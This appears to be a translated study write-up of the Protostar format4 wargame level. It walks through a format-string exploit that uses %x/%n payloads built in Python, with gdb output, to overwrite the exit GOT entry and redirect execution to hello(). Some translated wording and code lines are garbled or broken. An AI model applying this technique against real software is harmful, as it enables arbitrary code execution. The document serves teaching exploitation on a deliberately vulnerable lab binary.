Security_RNRF
0x19. 본문
19. Format String Exploit and overwirte the Global Offset Table - bin.0x13
: Content
-> format string exploit
-> arbitrary write
-> Overwriting GOT entry
: To dynamically link libraries to binaries (by default, how to program)
: Format4(C Code)(/opt/protostar/bin/format4)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void hello()
{
printf("code execution redirected! you win\n");
_exit(1);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
exit(1);
}
int main(int argc, char **argv)
{
vuln();
}
-> The "main" function calls "vuln".
-> Read the standard input buffer up to 512 in the party is "vuln".
-> Then, use "printf" to output the buffer.
-> It can also be seen that the buffer is located as the first parameter of the "printf".
-> This is the type parameter.
-> After "printf", there is a call to "exit".
-> This means that this function will not be removed.
-> End this process by performing a "syscall" shutdown on the kernel.
: Therefore, if the function's return pointer is overwritten, it will never return, and it will not be available.
-> So we use the technology of the "0x12" video to overwrite the "GOT" entry for termination.
-> Run "hello" instead of ending through the address of "hello".
: First, let's see if there is a type string vulnerability.
-> You can specify a type character and verify that it is converted to a number.
-> ./format4
hello %x %x %x
hello 200 b7fd8420 bffff624
-> It works. Therefore, you need to find some addresses to activate the exploit.
-> Use "x" through "gdb" to verify the address of the "hello" function and examine "hello".
-> gdb ./format4
-> x hello
0x80484b4 <hello>: 0x83e58955
(python) -> HELLO = 0x80484b4
-> Find the global offset table where you want to create the "HELLO" address.
-> disassemble main
Dump of assembler code for function main:
0x08048514 <main+0>: push %ebp
0x08048515 <main+1>: mov %esp,%ebp
0x08048517 <main+3>: and $0xfffffff0,%esp
0x0804851a <main+6>: call 0x80484d2 <vuln>
0x0804851f <main+11>: mov %ebp,%esp
0x08048521 <main+13>: pop %ebp
0x08048522 <main+14>: ret
End of assembler dump.
-> disassemble vuln
Dump of assembler code for function vuln:
0x080484d2 <vuln+0>: push %ebp
0x080484d3 <vuln+1>: mov %esp,%ebp
0x080484d5 <vuln+3>: sub $0x218,%esp
0x080484db <vuln+9>: mov 0x8049730,%eax
0x080484e0 <vuln+14>: mov %eax,0x8(%esp)
0x080484e4 <vuln+18>: movl $0x200,0x4(%esp)
0x080484ec <vuln+26>: lea -0x208(%ebp),%eax
0x080484f2 <vuln+32>: mov %eax,(%esp)
0x080484f5 <vuln+35>: call 0x804839c <fgets@plt>
0x080484fa <vuln+40>: lea -0x208(%ebp),%eax
0x08048500 <vuln+46>: mov %eax,(%esp)
0x08048503 <vuln+49>: call 0x80483cc <printf@plt>
0x08048508 <vuln+54>: movl $0x1,(%esp)
0x0804850f <vuln+61>: call 0x80483ec <exit@plt>
End of assembler dump.
-> At the bottom, the end call is shown in the pro Caesar linkage table (plt).
-> diassemble 0x80483ec
Dump of assembler code for function exit@plt:
0x080483ec <exit@plt+0>: jmp *0x8049724
0x080483f2 <exit@plt+6>: push $0x30
0x080483f7 <exit@plt+11>: jmp 0x804837c
End of assembler dump.
-> If you disassemble the address, you can now refer to the first address.
-> It attempts to refer to the address from "glibc" there. So let's look into the address.
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483f2
-> This is the global offset table.(= GOT)
-> Save the corresponding table address to the script.
(python) -> EXIT_PLT = 0x8049724
-> Set two breakpoints in "vuln". Before “printf” and after "printf".
-> break *0x08048503
-> break *0x0804850f
-> r
-> In "printf", the "exit" entry in the global offset table continues to run shutdown at the end of "hello" and "vuln".
-> Starting program: /opt/protostar/bin/format4
HELLO LiveOverflow
-> Now overwrite the "GOT" entry. And check.
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483f2
->Write the address and value we want to write with the square bracket "int"
-> set {int}0x8049724=0x80484b4
(check) ->x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x080484b4
-> And the entrance has been changed.
-> c
Continuing.
HELLO LiveOverflow
Breakpoint 2, 0x0804850f in vuln () at format4/format4.c:22
22 in format4/format4.c
-> disassemble main
Dump of assembler code for function main:
0x08048514 <main+0>: push %ebp
0x08048515 <main+1>: mov %esp,%ebp
0x08048517 <main+3>: and $0xfffffff0,%esp
0x0804851a <main+6>: call 0x80484d2 <vuln>
0x0804851f <main+11>: mov %ebp,%esp
0x08048521 <main+13>: pop %ebp
0x08048522 <main+14>: ret
End of assembler dump.
-> disassemble vuln
Dump of assembler code for function vuln:
0x080484d2 <vuln+0>: push %ebp
0x080484d3 <vuln+1>: mov %esp,%ebp
0x080484d5 <vuln+3>: sub $0x218,%esp
0x080484db <vuln+9>: mov 0x8049730,%eax
0x080484e0 <vuln+14>: mov %eax,0x8(%esp)
0x080484e4 <vuln+18>: movl $0x200,0x4(%esp)
0x080484ec <vuln+26>: lea -0x208(%ebp),%eax
0x080484f2 <vuln+32>: mov %eax,(%esp)
0x080484f5 <vuln+35>: call 0x804839c <fgets@plt>
0x080484fa <vuln+40>: lea -0x208(%ebp),%eax
0x08048500 <vuln+46>: mov %eax,(%esp)
0x08048503 <vuln+49>: call 0x80483cc <printf@plt>
0x08048508 <vuln+54>: movl $0x1,(%esp)
0x0804850f <vuln+61>: call 0x80483ec <exit@plt>
End of assembler dump.
-> We are now at the exit. Let's keep running "exit" or "hello."
-> c
Continuing.
code execution redirected! you win
Program exited with code 01.
: Now, let's try these writes with a format string and a "%n".
-> The first is to exit the debugger and find the string you entered in the stack.
-> I know the buffer length is 512 bytes. Creates a function that fills a string with its length.
-> Therefore, you can add a certain number of characters to the string.
-> Then create a variable exploit and output the padded variable.
-> python Code
import struct
HELLO = 0x80484b4
EXIT_PLT = 0x8049724
def pad(s):
return s+"X"*(512-len(s))
exploit = “”
exploit += “%x “*4
print pad(exploit)
-> python /tmp/exp.py
%x %x %x %x XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-> When enabled, you can view the exploit string and fill the 512 buffer.
-> python /tmp/exp.py | ./format4
200 b7fd8420 bffff624 25207825 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-> Now add strings in front of the characters you can recognize.
import struct
HELLO = 0x80484b4
EXIT_PLT = 0x8049724
def pad(s):
return s+"X"*(512-len(s))
exploit = “”
exploit += “AAAABBBBCCCC”
exploit += “%x “*4
print pad(exploit)
-> python /tmp/exp.py | ./format4
AAAABBBBCCCC200 b7fd8420 bffff624 41414141 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-> The string we entered already begins with the fourth value.
-> You can now refer specifically to the format string using numeric dollar notation.
import struct
HELLO = 0x80484b4
EXIT_PLT = 0x8049724
def pad(s):
return s+"X"*(512-len(s))
exploit = “”
exploit += “AAAABBBBCCCC”
exploit += “%4$x “*4
print pad(exploit)
-> "%4$" means trying to refer to the fourth parameter of "printf" without going through the parameter.
-> python /tmp/exp.py | ./format4
AAAABBBBCCCC41414141 41414141 41414141 41414141 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-> Now all values are 414141411.
-> Remember that you can write the number of output characters using "%n".
-> Therefore, you can change the character to a global offset table address.
-> Use "struct" to convert an integer address to a binary string.
-> Then change "%x" to "%n".
import struct
HELLO = 0x80484b4
EXIT_PLT = 0x8049724
def pad(s):
return s+"X"*(512-len(s))
exploit = “”
exploit += “struct.pack(”I”, EXIT_PLT)
exploit += “AAAABBBBCCCC”
exploit += “%4$n “*4
print pad(exploit)
-> First, write the output of this script to a file so that it can be used as an input in "gdb".
-> python exp.py > exp
-> gdb ./format4
-> diassemble vuln
Dump of assembler code for function vuln:
0x080484d2 <vuln+0>: push %ebp
0x080484d3 <vuln+1>: mov %esp,%ebp
0x080484d5 <vuln+3>: sub $0x218,%esp
0x080484db <vuln+9>: mov 0x8049730,%eax
0x080484e0 <vuln+14>: mov %eax,0x8(%esp)
0x080484e4 <vuln+18>: movl $0x200,0x4(%esp)
0x080484ec <vuln+26>: lea -0x208(%ebp),%eax
0x080484f2 <vuln+32>: mov %eax,(%esp)
0x080484f5 <vuln+35>: call 0x804839c <fgets@plt>
0x080484fa <vuln+40>: lea -0x208(%ebp),%eax
0x08048500 <vuln+46>: mov %eax,(%esp)
0x08048503 <vuln+49>: call 0x80483cc <printf@plt>
0x08048508 <vuln+54>: movl $0x1,(%esp)
0x0804850f <vuln+61>: call 0x80483ec <exit@plt>
End of assembler dump.
-> break *0x08048503
-> break *0x0804850f
-> r < /tmp/exp
-> disassemble 0x80483ec
Dump of assembler code for function exit@plt:
0x080483ec <exit@plt+0>: jmp *0x8049724
0x080483f2 <exit@plt+6>: push $0x30
0x080483f7 <exit@plt+11>: jmp 0x804837c
End of assembler dump.
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483f2
-> c
Continuing.
Breakpoint 2, 0x0804850f in vuln () at format4/format4.c:22
22 in format4/format4.c
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x00000013
-> c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00000013 in ?? ()
: Now all we have to do is print out the "enpugh" character so that we can reach the number, which is the address.
: The idea is that you can first use two bytes lower for a smaller price.
-> hello(): 08 04 84 B4
-> GOT: 00 00 00 00
1.84 B4
2.08 04
-> Then perform another write at address+2 to write another smaller value to higher.
-> Add code with “vim exp.py”
exploit += “%4$30x”
exploit += “%4$n”
-> Again Run.
-> r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/format4 < /tmp/exp
Breakpoint 1, 0x08048503 in vuln () at format4/format4.c:20
20 in format4/format4.c
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483f2
-> c
Continuing.
Breakpoint 2, 0x0804850f in vuln () at format4/format4.c:22
22 in format4/format4.c
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x0000002e
-> If the padding is 30, the hexadecimal 0x2e(46) can be used. (0x2e = 46)
-> The goal is to create two sub-bates and want them to be 0x84B4. That is 33972. (0x84B4 = 33972)
-> 46-30(pad) = 16
-> Change code
exploit += “%4$33956”
exploit += “%4$n”
-> Again Run.
-> r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/format4 < /tmp/exp
Breakpoint 1, 0x08048503 in vuln () at format4/format4.c:20
20 in format4/format4.c
-> c
Continuing.
$AAAABBBBCCCC (a blank space…)
Breakpoint 2, 0x0804850f in vuln () at format4/format4.c:22
22 in format4/format4.c
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x000084b4
-> Now move the addresses forward by two to process the two parent bytes.
-> Change code
import struct
HELLO = 0x80484b4
EXIT_PLT = 0x8049724
def pad(s):
return s+"X"*(512-len(s))
exploit = ""
exploit += struct.pack("I", EXIT_PLT)
exploit += struct.pack("I", EXIT_PLT+2)
exploit += "BBBBCCCC"
exploit += "%4$33956x"
exploit += "%4$n"
exploit += "%30x"
exploit += "%5$n"
print pad(exploit)
-> r
-> c
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x84d284b4
-> 0x84D2 => 0x10804 - 0x84D2 = 8332
-> Hex: 8332 = DEC: 33586
-> 33586 + 30(padding) = 33616
-> Change code
import struct
HELLO = 0x80484b4
EXIT_PLT = 0x8049724
def pad(s):
return s+"X"*(512-len(s))
exploit = ""
exploit += struct.pack("I", EXIT_PLT)
exploit += struct.pack("I", EXIT_PLT+2)
exploit += "BBBBCCCC"
exploit += "%4$33956x"
exploit += "%4$n"
exploit += "%33616x"
exploit += "%5$n"
print pad(exploit)
-> r
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483f2
-> c
-> x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x080484b4
-> x 0x080484b4
0x80484b4 <hello>: 0x83e58955
-> c
Continuing.
200XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXcode execution redirected! you win
Program exited with code 01.
: How to control a command using harmless functions such as "printf" is really crazy.